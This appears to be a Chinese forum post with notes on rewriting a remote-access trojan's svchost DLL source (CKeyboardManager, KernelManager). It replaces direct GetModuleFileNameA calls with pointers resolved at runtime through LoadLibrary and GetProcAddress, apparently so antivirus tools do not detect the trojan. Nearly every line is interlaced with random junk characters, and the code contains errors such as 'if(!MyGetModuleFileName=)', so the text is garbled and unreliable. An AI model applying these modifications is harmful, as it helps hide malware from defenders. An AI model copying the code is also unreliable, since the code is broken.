返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记1 u8 q: P' \) K! O) X
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h5 O# b5 t& _, e' {( v" x
----------------------------------------' ~" A( u% ]3 a$ n7 _
DTDY.h:. q3 ?" j6 l% r; |

+ B! \- t6 P' d: \#if _MSC_VER>1000
: C6 L; w5 x# E#pragma once
1 h& s5 g& C/ e7 P: G3 b#endif //_MSC_VER>1000
5 C1 k- e; H$ v( D#include<windows.h>
8 d7 ?; }& `& m& H/ B
6 p+ D" {4 P$ itypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);* p, O' A! i' U& L- S* g
class DTDY0 G% ~+ A7 I4 T$ t7 n
{
$ V9 ?1 n. f# A) Zpublic:
* A- S+ {/ l; p" nDTDY();
7 o; U  X2 ~+ ^virtual ~DTDY();" x2 f1 P0 m7 _
public:$ b3 v4 v1 \$ x& X- x
static pGetModuleFileNameA MyGetModuleFileName;
7 B' h1 q' d  Cstatic BOOL FunInitiallization();5 j5 f/ p) f. H: `6 p; `- N
};
0 z: O- r8 J9 @! A8 r4 s#endif
5 ]. x* D2 l# w' i3 N6 i----------------------------------------
: W: `+ N  ^+ H$ y& r) y3 X/ u( @% |! ]
DTDY.cpp:& d! s# G* o) P( n1 p

; K% N& `4 J) R# {* @! M- @, a1 t#include "DTDY.h"
* [( P! g0 L- a$ tpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
8 y" y1 X( u0 N' V. N9 E2 iDTDY:TDY()
, c) y$ I5 J1 A0 y' Y{' f0 D) i9 x+ ^/ [0 u
}- }' ~9 T" O$ l9 [' n) d& T/ |
DTDY::~DTDY()  J/ G, X  t* _2 j# d0 T
{" q" q" i2 R2 I
}
: \2 F) m- r9 p6 I7 J! u" WBOOL DTDY::FunInitiallization()/ E' ?* Z$ z( F
{" A! M3 p) m. ]8 v$ a: z8 }3 u2 U
HMODULE hModule=LoadLibrary("kernel32.dll");
' L7 q( f8 J& B, r, uMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");$ q; }+ u$ g' D! f4 M
if(!MyGetModuleFileName=) return FALSE;! F  F" |' z9 V/ v8 ~
* U. L8 q0 ]* D6 m5 ?1 b7 D' w
return TRUE;& h8 o& J" Y4 r0 c5 S& X
}+ i: _3 Y! {9 J$ w$ d7 X4 C
----------------------------------------$ b, u9 ~: ?- ?8 h) J& C* [1 j
svchost.cpp:
6 P+ [9 ~# P! L5 C0 t% a
9 {( F5 i  J" c) d4 r#include "DTDY.h": O, V2 n# \6 r3 Y3 R+ E
: x4 {+ q5 c4 e0 v5 C
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)1 p8 B% \! V, @
{
4 u; i% w( q* E6 g. ?switch(ul_reason_for_call)
* J6 P/ m) Z. m# I& g. R  ?{$ Z5 k" {' P! e
case DLL_PROCESS_ATTACH:
, U. s* M' ]! Zif(!DTDY::FunInitiallization()) return FALSE;. {6 }9 ~/ {* W1 p

! F+ n/ L! W5 U" }2 t, Abreak;9 h0 x1 |7 \; L. h
}& k3 P. g! _$ j9 n
}0 m  k% `' D6 W: H( }! p
) {* l8 N4 a0 q
* e% ^! o* `3 ?
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def+ U- n6 e5 v& w* C
改写为- c* A/ P* o' V4 m: @7 G% y
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
& s: {, x9 o2 ^8 @5 K- A- q+ H) T9 S----------------------------------------
9 a1 u, e7 Z  I, }! p; xKernelManager.cpp:  K6 `$ ?5 z5 u$ R7 H
- h; X: `, Y( s: a
#include "../DTDY.h"
( z& L$ W1 M' l* U. D6 GGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));3 P$ k3 p' q% [1 G- x; G2 M) [- b
改写为
2 [: a" i& q+ g8 C/ Q# b$ }DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));: p  Z3 r; ~9 m
----------------------------------------

返回列表